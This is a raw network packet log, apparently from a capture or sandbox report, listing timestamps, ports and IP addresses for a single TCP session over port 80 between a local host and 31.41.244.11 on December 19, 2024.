Dec 19, 2024 08:09:11.505481958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.506702900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.506751060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.506767035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.506910086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.508203983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.508271933 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.508287907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.508352041 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.509715080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.509783983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.509787083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.509860039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.511229992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.511310101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.511332035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.511557102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.515475035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.515491962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.515547991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.515542030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.515566111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.515598059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.515598059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.515685081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.516426086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.516442060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.516511917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.517261028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.517344952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.517402887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.518805027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.518887043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.518939018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.518996954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.520292044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.520405054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.520435095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.520498037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.524089098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.524105072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.524122000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.524204016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.524204016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.524233103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.524394035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.525841951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.526000023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.526060104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.527338982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.527396917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.527508974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.527654886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.528840065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.528898954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.528994083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.529220104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.529540062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.529556036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.529594898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.529624939 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.530903101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.530989885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.531013012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.531064034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.532489061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.532587051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.532612085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.532666922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.533952951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.534071922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.534073114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.534179926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.538590908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.538608074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.538625002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.538642883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.538675070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.538708925 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.539485931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.539500952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.539566040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.540944099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.541052103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.541086912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.541265965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.542510986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.542604923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.542690039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.542742968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.543946028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.544112921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.544188976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.545471907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.545543909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.545629978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.545691013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.547060966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.547081947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.547136068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.547168016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.548424006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.548593044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.548674107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.550088882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.550106049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.550173998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.550204992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.551615953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.551781893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.551853895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.553030014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.553098917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.553137064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.553201914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.553600073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.553663015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.553724051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.553875923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.555135965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.555198908 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.555229902 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.555392027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.556652069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.556715012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.556751966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.556804895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.558151007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.558238029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.558280945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.558331966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.559669971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.559756041 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.559806108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.559859991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.561201096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.561276913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.561305046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.561405897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.562709093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.562767982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.562834978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.562906027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.564239025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.564296961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.564389944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.564445019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.565747976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.565820932 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.565886021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.567243099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.567308903 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.567343950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.567389965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.568763018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.568831921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.568881989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.568933010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.570286036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.570359945 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.570409060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.570619106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.571800947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.571875095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.571898937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.572009087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.573314905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.573378086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.573406935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.573457003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.691637993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.691656113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.691732883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.691781044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.692285061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.692301989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.692373037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.693408012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.693424940 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.693470955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.693496943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.694664001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.694972992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.695046902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.696031094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.696091890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.696197033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.696253061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.697290897 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.697345972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.697443962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.697491884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.698652983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.698707104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.698827028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.698982000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.700007915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.700023890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.700067043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.700093985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.701179981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.701250076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.701351881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.701636076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.701690912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.701715946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.702827930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.702930927 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.703054905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.703073978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.703130007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.704260111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.704421043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.704484940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.705558062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.705667973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.706886053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.706953049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.707000971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.708174944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.708249092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.708354950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.708410025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.709470987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.709520102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.709575891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.709636927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.710798979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.710884094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.710920095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.710968018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.712115049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.712186098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.712280989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.712436914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.713428974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.713500023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.713558912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.714721918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.714817047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.714822054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.714859962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.716062069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.716125011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.716134071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.716170073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.717391968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.717410088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.717451096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.717479944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.718653917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.718748093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.718817949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.720009089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.720041037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.720072985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.720094919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.721297026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.721357107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.721411943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.721461058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.722593069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.722654104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.722692966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.722729921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.723915100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.723973989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.724024057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.724065065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.725208998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.725270987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.725317001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.725452900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.726511955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.726573944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.726613045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.726669073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.727845907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.727906942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.727955103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.729130983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.729240894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.729285955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.729443073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.730442047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.730546951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.730607033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.730607033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.731775999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.731900930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.732105017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.733059883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.733103037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.733161926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.733212948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.734364033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.734417915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.734457016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.734622955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.735701084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.735763073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.735836029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.735884905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.737061024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.737121105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.737165928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.737214088 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.738343954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.738421917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.738461971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.738508940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.739594936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.739684105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.739732027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.739923954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.740916014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.740992069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.741019011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.741065025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.742249966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.742336035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.742358923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.742403030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.743552923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.743630886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.743681908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.743730068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.744847059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.744995117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.745052099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.746179104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.746263027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.746292114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.746340990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.747488022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.747567892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.747591972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.747638941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.748779058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.748857021 CET	49802	80	192.168.2.6	31.41.244.11
